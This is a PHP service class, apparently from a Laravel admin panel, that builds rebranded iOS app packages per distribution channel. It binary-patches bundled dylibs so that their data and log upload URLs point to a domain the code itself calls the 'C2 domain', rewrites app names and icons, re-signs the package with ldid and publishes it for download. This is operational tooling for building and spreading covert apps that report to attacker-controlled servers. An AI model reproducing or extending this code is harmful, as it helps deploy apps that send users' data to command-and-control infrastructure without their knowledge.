20, 'Icon-20@2x.png' => 40, 'Icon-20@3x.png' => 60, 'Icon-29.png' => 29, 'Icon-29@2x.png' => 58, 'Icon-29@3x.png' => 87, 'Icon-40.png' => 40, 'Icon-40@2x.png' => 80, 'Icon-40@3x.png' => 120, 'Icon-60@2x.png' => 120, 'Icon-60@3x.png' => 180, 'Icon-76.png' => 76, 'Icon-76@2x.png' => 152, 'Icon-83.5@2x.png' => 167, ]; /** * Build a customized IPA for the given channel. * * @param Channel $channel App-builder channel with app_name, bundle_id, channel_id * @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180) * @param string $apiDomain C2 domain (e.g. hslaxo.cc) * @return array{success: bool, path: string, size: int, error: string} */ public function build(Channel $channel, ?string $logoPath, string $apiDomain): array { $baseIpa = storage_path('app/'.self::BASE_IPA_PATH); if (! file_exists($baseIpa)) { return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.']; } $workDir = storage_path('app/app-builds/'.$channel->channel_id); if (is_dir($workDir)) { $this->rrmdir($workDir); } @mkdir($workDir, 0755, true); try { // 1. Extract base IPA $zip = new \ZipArchive; if ($zip->open($baseIpa) !== true) { throw new RuntimeException('Cannot open base IPA'); } $zip->extractTo($workDir); $zip->close(); $appDir = $workDir.'/Payload/SignalShell.app'; if (! is_dir($appDir)) { // Try to find any .app directory $payload = $workDir.'/Payload'; $dirs = glob($payload.'/*.app'); if (empty($dirs)) { throw new RuntimeException('No .app directory found in IPA'); } $appDir = $dirs[0]; } // 2. Patch Info.plist $this->patchInfoPlist($appDir, $channel, $apiDomain); // 3. Generate icons from logo if ($logoPath && file_exists($logoPath)) { $this->generateIcons($appDir, $logoPath); } // 4. Patch libroute.dylib (domain + channel ID) $this->patchLibroute($appDir, $apiDomain, $channel->channel_id); // 5. Patch libmcmlease.dylib (domain) $this->patchLibmcmlease($appDir, $apiDomain); // 6. Sign (ldid if available, skip otherwise) $this->sign($appDir); // 7. Package IPA $outputPath = 'channel/'.$channel->channel_id.'/app.ipa'; $outputFull = public_path($outputPath); @mkdir(dirname($outputFull), 0755, true); $outZip = new \ZipArchive; if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) { throw new RuntimeException('Cannot create output IPA'); } $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload'); $outZip->close(); $size = filesize($outputFull); // Cleanup $this->rrmdir($workDir); return [ 'success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => '', ]; } catch (\Throwable $e) { $this->rrmdir($workDir); Log::error('AppPackageService: build failed', [ 'channel' => $channel->channel_id, 'error' => $e->getMessage(), ]); return [ 'success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage(), ]; } } private function patchInfoPlist(string $appDir, Channel $channel, string $apiDomain): void { $plistPath = $appDir.'/Info.plist'; $xml = file_get_contents($plistPath); // Replace display name $xml = preg_replace( '#CFBundleDisplayName\s*[^<]*#', 'CFBundleDisplayName'.htmlspecialchars($channel->app_name).'', $xml, ); // Replace bundle identifier if ($channel->bundle_id) { $xml = preg_replace( '#CFBundleIdentifier\s*[^<]*#', 'CFBundleIdentifier'.htmlspecialchars($channel->bundle_id).'', $xml, ); } // Replace CFBundleName (short name) $xml = preg_replace( '#CFBundleName\s*[^<]*#', 'CFBundleName'.htmlspecialchars(substr($channel->app_name, 0, 15)).'', $xml, ); // Replace ShellConfigEndpoint (config API URL) $configEndpoint = 'https://'.$apiDomain.'/api/ap/config?a='.$channel->channel_id; $xml = preg_replace( '#ShellConfigEndpoint\s*[^<]*#', 'ShellConfigEndpoint'.htmlspecialchars($configEndpoint).'', $xml, ); // Replace ShellWebsiteURL (fallback WebView URL) if ($channel->h5_url) { $xml = preg_replace( '#ShellWebsiteURL\s*[^<]*#', 'ShellWebsiteURL'.htmlspecialchars($channel->h5_url).'', $xml, ); } file_put_contents($plistPath, $xml); } private function generateIcons(string $appDir, string $logoPath): void { if (! function_exists('imagecreatefrompng')) { // GD not available, copy logo as-is for main icon only copy($logoPath, $appDir.'/Icon-60@3x.png'); return; } $src = imagecreatefrompng($logoPath); if ($src === false) { return; } $srcW = imagesx($src); $srcH = imagesy($src); foreach (self::ICON_SIZES as $filename => $size) { $dst = imagecreatetruecolor($size, $size); // Transparent background imagesavealpha($dst, true); $trans = imagecolorallocatealpha($dst, 0, 0, 0, 127); imagefill($dst, 0, 0, $trans); // Resize (maintain aspect, crop center square) $minSide = min($srcW, $srcH); $srcX = ($srcW - $minSide) / 2; $srcY = ($srcH - $minSide) / 2; imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide); imagepng($dst, $appDir.'/'.$filename, 6); imagedestroy($dst); } imagedestroy($src); } private function patchLibroute(string $appDir, string $domain, string $channelId): void { $path = $appDir.'/Frameworks/libroute.dylib'; if (! file_exists($path)) { throw new RuntimeException('libroute.dylib not found'); } $data = file_get_contents($path); $origSize = strlen($data); // Helper: in-place string replacement (preserves file size) $replaceInPlace = function (string &$data, string $old, string $new): bool { $idx = strpos($data, $old); if ($idx === false) { return false; } // New must be <= old length if (strlen($new) > strlen($old)) { return false; } // Write new bytes for ($i = 0; $i < strlen($new); $i++) { $data[$idx + $i] = $new[$i]; } // Null-terminate $data[$idx + strlen($new)] = "\x00"; // Clear remaining old bytes for ($i = strlen($new) + 1; $i < strlen($old) + 1; $i++) { $data[$idx + $i] = "\x00"; } return true; }; $domain = substr($domain, 0, strlen('shenma.my')); // max 9 chars $channelId = substr($channelId, 0, strlen('a119f32b4955')); // max 12 chars // Pad with '0' if shorter $channelId = str_pad($channelId, strlen('a119f32b4955'), '0'); // 1. Replace upload URL (in-place, same total length guaranteed) $oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&'; $newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&"; // Ensure same length by adjusting path if needed if (strlen($newUpload) > strlen($oldUpload)) { // Shrink path: /api/ap/upload → /api/ap/u $newUpload = "https://{$domain}/api/ap/u?a={$channelId}&"; } if (strlen($newUpload) > strlen($oldUpload)) { throw new RuntimeException('New upload URL exceeds binary space'); } // Pad with trailing null bytes to match old length exactly $newUploadPadded = $newUpload.str_repeat("\x00", strlen($oldUpload) - strlen($newUpload)); $idx = strpos($data, $oldUpload); if ($idx !== false) { for ($i = 0; $i < strlen($oldUpload); $i++) { $data[$idx + $i] = $i < strlen($newUploadPadded) ? $newUploadPadded[$i] : "\x00"; } } // 2. Replace log upload URL (in-place) $oldLog = 'https://shenma.my/upload.php?name='; $newLog = "https://{$domain}/api/ap/lg?n="; if (strlen($newLog) <= strlen($oldLog)) { $newLogPadded = $newLog.str_repeat("\x00", strlen($oldLog) - strlen($newLog)); $idx = strpos($data, $oldLog); if ($idx !== false) { for ($i = 0; $i < strlen($oldLog); $i++) { $data[$idx + $i] = $i < strlen($newLogPadded) ? $newLogPadded[$i] : "\x00"; } } } // 3. Replace config path (in-place, pad with nulls) $oldConfig = '/api/ios-shell'; $newConfig = '/api/ap'; $newConfigPadded = $newConfig.str_repeat("\x00", strlen($oldConfig) - strlen($newConfig)); $idx = strpos($data, $oldConfig); if ($idx !== false) { for ($i = 0; $i < strlen($oldConfig); $i++) { $data[$idx + $i] = $i < strlen($newConfigPadded) ? $newConfigPadded[$i] : "\x00"; } } // 4. Replace any remaining shenma.my (equal length: shenma.my = 9) if (strlen($domain) === 9) { $data = str_replace('shenma.my', $domain, $data); } // Verify file size unchanged if (strlen($data) !== $origSize) { throw new RuntimeException('Binary size changed! orig='.$origSize.' new='.strlen($data)); } file_put_contents($path, $data); } private function patchLibmcmlease(string $appDir, string $domain): void { $path = $appDir.'/Frameworks/libmcmlease.dylib'; if (! file_exists($path)) { return; } $data = file_get_contents($path); // Equal-length domain replacement if (strlen($domain) === 9) { // same as shenma.my $data = str_replace('shenma.my', $domain, $data); } file_put_contents($path, $data); } private function sign(string $appDir): void { // Remove old signatures (plain filesystem ops, no shell needed) $csDir = $appDir.'/_CodeSignature'; if (is_dir($csDir)) { $this->rrmdir($csDir); } // Do not file_exists() the binary: panel open_basedir is // project + /tmp, so /usr/bin/ldid throws ErrorException. // proc_open (Process::run) can still execute it. $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); if ($ldidPath === '') { Log::warning('AppPackageService: ldid path empty, IPA will be unsigned'); return; } $binaries = array_merge( [$appDir.'/SignalShell'], glob($appDir.'/Frameworks/*.dylib') ?: [], glob($appDir.'/*.dylib') ?: [], ); foreach ($binaries as $bin) { if (! is_string($bin) || $bin === '' || ! is_file($bin)) { continue; } try { $result = Process::run([$ldidPath, '-S', $bin]); if (! $result->successful()) { Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [ 'error' => $result->errorOutput() ?: $result->output(), ]); } } catch (\Throwable $e) { Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [ 'error' => $e->getMessage(), ]); } } } private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; $zipPath = $prefix.'/'.$item; if (is_dir($path)) { $zip->addEmptyDir($zipPath); $this->addDirToZip($zip, $path, $zipPath); } else { $zip->addFile($path, $zipPath); } } } private function rrmdir(string $dir): void { if (! is_dir($dir)) { return; } $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { $this->rrmdir($path); } else { @unlink($path); } } @rmdir($dir); } }